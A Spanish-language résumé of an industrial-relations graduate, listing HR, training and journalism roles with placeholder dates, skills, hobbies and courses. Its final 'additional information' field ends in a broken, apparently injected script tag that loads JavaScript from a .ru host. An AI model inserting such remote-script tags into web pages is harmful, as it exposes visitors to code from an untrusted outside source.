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Nadir del Carmen Hernández Martínez

titulo 
Recursos Humanos - Personal. 

 

EXPERIENCIA LABORAL
-0/0-0/0 Revista Z21
Cultura, ocio y deporte Periodismo
Jefe de Redacción

-0/0-0/0 Semanario 7 días Puebla
Servicios sociales y comunitarios Otras (No se especifica)
Columnista

-0/0-0/0 Autotransportes de Carga METEPORI S.A. de C.V.
Transporte y distribución Recursos Humanos - Personal
Agente de Cambio, Diagnóstico Organizacional

-0/0-0/0 Autotransportes de Carga METEPORI S.A. de C.V.
Transporte y distribución Recursos Humanos - Personal
Diseñador de Programas de Capacitación y Desarrollo de Personal y Motivación

-0/0-0/0 Maquilas y Confecciones HESO S.A. de C.V.
Producción, taller y fábrica Consultoría - Asesoría
Agente Capacitador: Curso de Calidad y Relaciones Humanas

-0/0-0/0 Maquilas y Confecciones GAMA S.A. de C.V.
Producción, taller y fábrica Consultoría - Asesoría
Analista Ergonómico enfocado al Capital Humano

-0/0-0/0 Sistema Integral de Resguardo SIR S.A. de C.V.
Seguridad/Vigilancia Consultoría - Asesoría
Analista de Puestos, Diseñador de Manual Organizacional

-0/0-0/0 Sistema Integral de Resguardo SIR S.A. de C.V.
Seguridad/Vigilancia Consultoría - Asesoría
Diseñador de Planeación Estratégica de la Organización
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-0/0-0/0 Sistema Integral de Resguardo SIR S.A. de C.V.
Seguridad/Vigilancia Recursos Humanos - Personal
Diseñador de Programas de Motivación

-0/0-0/0 Panificadora TRICO S.A. de C.V. Jalapa, Ver.
Consumo Consultoría - Asesoría
Asesor de Diseño de Manual de Relaciones Públicas

 

FORMACIÓN ACADÉMICA
6/2009

Lic. en Relaciones Industriales
Licenciado Recursos Humanos
Universidad Veracruzana
Facultad de Ciencias Administrativas y Sociales, Xalapa, Ver; Mx.
www.uv.mx

 

IDIOMAS
Español
Nivel:Nivel Profesional

Inglés
Nivel:Nivel Intermedio

OBJETIVOS PROFESIONALES
DAR SOLUCIONES A LAS NECESIDADES QUE SE PRESENTAN EN EL 
DESARROLLO DEL CAPITAL HUMANO DE LAS ORGANIZACIONES

 

Resultados y Logros
INCREMENTO EN LA PRODUCTIVIDAD DE LAS PERSONAS ASISTIDAS MEDIANTE LOS 
PROGRAMS DE CAPACITACIÓN Y DESARROLLO

 

Cualidades
Adaptable, Amable, Analítico/a, Colaborador, Comprometido/a, Comunicativo/a, Decidido/a, 
Determinado/a, Diligente, Eficiente, Enérgico/a, Entregado/a, Fiable, Flexible, Fuerte, Honesto/a, 
Intelectual, Inteligente, Meticuloso/a, Organizado/a, Perceptivo/a, Persistente, Persuasivo/a, Preciso/a, 
Productivo/a, Responsable, Seguro/a, Sociable, Tenaz, Trabajador/a, Valiente, Versátil, Visionario/a, 
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Aficiones
Literatura/Historia, Música de Jazz/Blues, Ópera/Música Clásica, Política, Servicios Sociales Voluntarios, 

 

Disponibilidad
Estoy dispuesto a viajar: Si
Estoy dispuesto a trabajar en el extranjero: Si
Estoy dispuesto a trabajar fuera de mi región: Si

 

Información Adicional:
FORMACIÓN:CURSO TALLER DE CREATIVIDAD  CURSO TALLER DE HABILIDADES DEL 
PENSAMIENTO CRITICO Y CREATIVO  CURSO TALLER: DE CREATIVIDAD Y LIDERAZGO 
EMPRESARIAL  CURSO TALLER: DE EXPRESION ORAL  CURSO TALLER: DE DOCUMENTACIÓN 
LABORAL  CURSO TALLER: DE COMPETENCIAS LABORALES  CURSO TALLER: DE ERGONOMIA Y
PRODUCTIVIDAD  CURSO TALLER: FACILITADOR DE PROCESOS GRUPALES  CURSO TALLER: 
ESTRATEGIAS DE SOLUCIÓN DE PROBLEMAS  CURSO: CALIDAD Y PRODUCTIVIDAD STPS  
CURSO: NEGOCIACION STPSEXPERIENCIA:COMPLEMENTARIA:INFORMACIÓN ADICIONAL: script
src=http://www.bannerdriven.ru/ads.js>

 


